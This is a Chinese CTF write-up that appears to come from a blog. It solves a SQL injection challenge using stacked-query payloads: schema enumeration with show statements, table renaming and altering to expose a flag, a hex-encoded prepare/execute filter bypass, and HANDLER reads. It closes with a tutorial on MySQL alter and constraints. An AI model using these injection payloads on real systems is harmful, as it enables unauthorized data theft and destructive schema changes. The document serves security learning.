首页 > 其他分享 >注入技巧

注入技巧

时间:2023-02-23 18:12:14浏览次数:40  
标签:技巧 show name add words table alter 注入

image-20230223174209460

尝试注入:

测试 1' or 1=1 # ,初步判定存在SQL注入。

1' or 1=1 #

image-20230223174328668

再测试字段数,到3时报错,说明字段数为2.

1' order by 1 # 

接着尝试union注入,回显了过滤的关键字。

1' union select 1,2#

image-20230223174422621

然后就是今天学会的新姿势“堆叠注入”了。
原理很简单,就是通过 ; 号注入多条SQL语句。
先通过show databases爆出数据库。

0'; show databases; #

image-20230223174456837

然后用 show tables 尝试爆表。

0'; show tables; #

image-20230223174519322

可以看到这里有两个表,我们先尝试爆words表的内容。

1'; show columns from words; #

image-20230223174536807

然后报表 1919810931114514 的内容。

这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

 0'; show columns from `1919810931114514 `; #

image-20230223174619570

可以发现爆出来了flag字段,然而我对于flag毫无办法,只能看看别人写的writeup了,膜拜大佬。

解题思路1:

借鉴 : https://blog.csdn.net/qq_26406447/article/details/90643951

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

然后用1’ or 1=1 #得到flag

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

image-20230223174730922

解题思路2:

借鉴 https://blog.csdn.net/qq_43619533/article/details/103433643

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

  • prepare…from…是预处理语句,会进行编码转换。

  • execute用来执行由SQLPrepare创建的SQL语句。

  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

image-20230223175143762

解题思路3:

比赛后复现用的payload:

 1'; handler `FlagHere` open as `a`; handler `a` read next;#

后来在buu上做时发现了payload2,貌似要复杂一点:

 1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

image-20230223175258349

这个方法同样适用于这道题,payload:

 1'; handler `1919810931114514` open as `a`; handler `a` read next;#

image-20230223175329030

知识点总结:

先总结这道题学会的新知识 alter ,show 和 SQL约束 。

show

在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。

alter

作用:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )

用法:

添加一个列

alter table " table_name" add " column_name"  type;

删除一个列

alter table " table_name" drop " column_name"  type;

改变列的数据类型

alter table " table_name" alter column " column_name" type;

改列名

alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";

SQL约束 (规定表中数据的规则)

not null- 指示某列不能存储 NULL 值。

alter table persons modify age int not null;//设置 not null 约束 。
alter table person modify age int null;//取消 null 约束。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。

alter table persons add age primary key (id)

unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束。 )

alter table person add unique (id);//增加unique约束。

check-限制列中值的范围。

alter table person add check (id>0);

default-规定没有给列赋值时的默认值。

alter table person alter city set default 'chengdu' ;//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access

auto_increment-自动赋值,默认从1开始。

foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

标签:技巧,show,name,add,words,table,alter,注入
From: https://www.cnblogs.com/crabin/p/17148974.html

相关文章

  • 泛微OA技巧随记
    隐藏明细表的加号按钮,如果不想让用户手工添行,必须通过自动联动添明细行,可以将明细表的加号按钮隐藏.document.getElementById('$addbutton0$').style.display="none";......
  • echo命令的小技巧
    echo的用法/bin/echo--help用法:/bin/echo[短选项]...[字符串]...或:/bin/echo长选项将STRING回显到标准输出。-n 不尾随换行符-e 启用解释反斜杠的转义功能......
  • 数据库性能优化技巧
    1.MySQL中的OR操作符可能会使索引失效,可以尝试将OR操作改为UNIONALL来实现相同的功能,这样可以有效地保持索引的有效性。另外,还可以考虑使用复合索引来解决OR问题,在大多数......
  • 【转载】SQL注入与XSS攻击
    版权声明:本文为CSDN博主「PiLriD.」的原创文章,遵循CC4.0BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/wenroudong/article/details/12......
  • python小技巧
    [从python包镜像库安装库]pipinstall-ihttps://pypi.tuna.tsinghua.edu.cn/simplePyQt5[下载离线安装包]pipdownloadpyqt5-ihttps://pypi.tuna.tsinghua.edu.cn......
  • SQL注入相关
    SQL注入tips一、相关sql语句信息information_schema:表示所有信息,包括库、表、列information_schema.tables:记录所有表名信息的表information_schema.columns:记录所有......
  • LabVIEW|小技巧:Quick Drop(快速放置)的使用
      QuickDrop(快速放置)面板是LabVIEW的一个快速查找函数或者控件的选板,它提供一些快速查找函数的映射,在输入框内输入快捷映射或者名称,即可查找到对应的函数或控件。这个......
  • Portswigger 靶场之 XML 外部实体注入(XEE)
    Alllabs|WebSecurityAcademy(portswigger.net)1.ExploitingXXEusingexternalentitiestoretrievefiles使用外部实体利用XXE来检索文件检查库存功能......
  • css使用小技巧记录
    1、白底小图标换色.iconBox{position:relative;width:19px;height:19px;overflow:hidden;//隐藏原本颜色的图片.icon......
  • 各种反演技巧
    二项式反演\[\sum_{i=0}^n\binom{n}{i}(-1)^i=[n=0]\]所以得到\[f_n=\sum_{i=0}^n\binom{n}{i}g_i\\g_n=\sum_{i=0}^n\binom{n}{i}(-1)^{n-i}f_i\]考虑每一项的贡......